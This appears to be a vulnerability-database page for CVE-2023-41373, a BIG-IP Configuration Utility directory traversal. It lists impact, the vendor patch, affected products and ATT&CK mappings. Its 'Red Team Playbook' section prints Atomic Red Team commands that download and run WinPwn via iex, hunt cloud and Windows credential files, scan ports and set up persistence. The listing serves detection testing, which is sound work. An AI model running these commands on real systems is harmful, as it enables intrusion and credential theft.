CVE-2023-41373

CRITICAL Pub 10/10 Upd 19/09

Overview

This vulnerability is a directory traversal flaw in the BIG-IP Configuration Utility of F5 BIG-IP products. It arises from improper validation of user-supplied input within the configuration management interface, allowing traversal outside intended directories. The affected component is the BIG-IP Configuration Utility, specifically when processing file path parameters.

Vulnerability Description

A directory traversal vulnerability exists in the BIG-IP Configuration Utility that may allow an authenticated attacker to execute commands on the BIG-IP system. For BIG-IP system running in Appliance mode, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Impact

An attacker with valid credentials can exploit this vulnerability to execute arbitrary commands on the BIG-IP system, potentially gaining elevated privileges and crossing security boundaries in Appliance mode. This can lead to full system compromise, data exposure, and lateral movement within the network. The attack requires network access and authentication (CVSS vector PR:L), but no user interaction is needed, increasing the risk in environments with exposed management interfaces.

Solution

F5 has released security updates addressing this vulnerability in BIG-IP Access Policy Manager. Administrators should apply the patches referenced in the vendor advisory K000135689 available at https://my.f5.com/manage/s/article/K000135689. The advisory provides specific version updates and patch instructions to remediate the directory traversal issue. No alternative workarounds are documented; timely patching is recommended.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical directory traversal vulnerability has been identified in the BIG-IP Configuration Utility, which poses a significant risk to systems operating in Appliance mode. This vulnerability allows an authenticated attacker to manipulate file paths, potentially gaining unauthorized access to sensitive files and executing arbitrary commands on the affected system. By exploiting this flaw, an attacker can traverse the file system beyond the intended directories, effectively crossing security boundaries that are designed to isolate and protect system resources. The severity of this vulnerability is underscored by its high CVSS score of 9.9, indicating a critical risk that necessitates immediate attention from organizations utilizing affected products.

Attack vectors for this vulnerability primarily involve authenticated users who can leverage their access to execute malicious commands. An attacker could exploit this flaw through various means, such as crafting specially designed requests that manipulate input parameters to traverse directories. For instance, by using encoded characters or path traversal sequences, an attacker could potentially access sensitive configuration files or system scripts that should remain protected. This exploitation could lead to unauthorized command execution, allowing the attacker to alter system configurations, extract sensitive data, or even deploy further malicious payloads, thereby escalating their access and control over the affected environment.

The real-world impact of this vulnerability is profound, particularly for organizations relying on the BIG-IP system for critical network functions such as load balancing, application delivery, and security management. A successful exploit could lead to significant business risks, including data breaches, service disruptions, and reputational damage. Organizations may face regulatory penalties if sensitive data is compromised, especially in industries governed by strict compliance requirements. Furthermore, the potential for lateral movement within the network could expose additional systems to compromise, amplifying the overall risk landscape and leading to cascading failures across interconnected services.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and vulnerability scans should be conducted to identify any instances of the flaw within their systems. Additionally, organizations should ensure that they are running the latest patches and updates provided by the vendor, as these often contain critical fixes for known vulnerabilities. Employing robust access controls and monitoring user activities can also help to detect any suspicious behavior indicative of exploitation attempts. Furthermore, organizations should consider implementing web application firewalls (WAFs) to filter and monitor HTTP requests, which can help block malicious payloads attempting to exploit this vulnerability.

In conclusion, the directory traversal vulnerability in the BIG-IP Configuration Utility represents a significant threat to organizations that utilize this technology. The potential for unauthorized command execution and the subsequent risks to data integrity and system availability make it imperative for affected organizations to take immediate action. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against exploitation and maintain the integrity of their network environments.

Affected Products (90)

Vendor Product Version CPE
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Access Policy Manager All cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Advanced Firewall Manager All cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Application Security Manager All cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Domain Name System All cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Domain Name System All cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Domain Name System All cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Domain Name System All cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*
f5 F5 Big-Ip Domain Name System All cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*
+70 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
Remote Code Execution
80% rce
OS Command Injection
66% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
48%
High Very High
CAPEC-79 Using Slashes in Alternate Encoding
45%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
40%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
39%
High High
CAPEC-76 Manipulating Web Input to File System Calls
37%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-41373
my.f5.com
GitHub CVE vendor-advisory
https://my.f5.com/manage/s/article/K000135689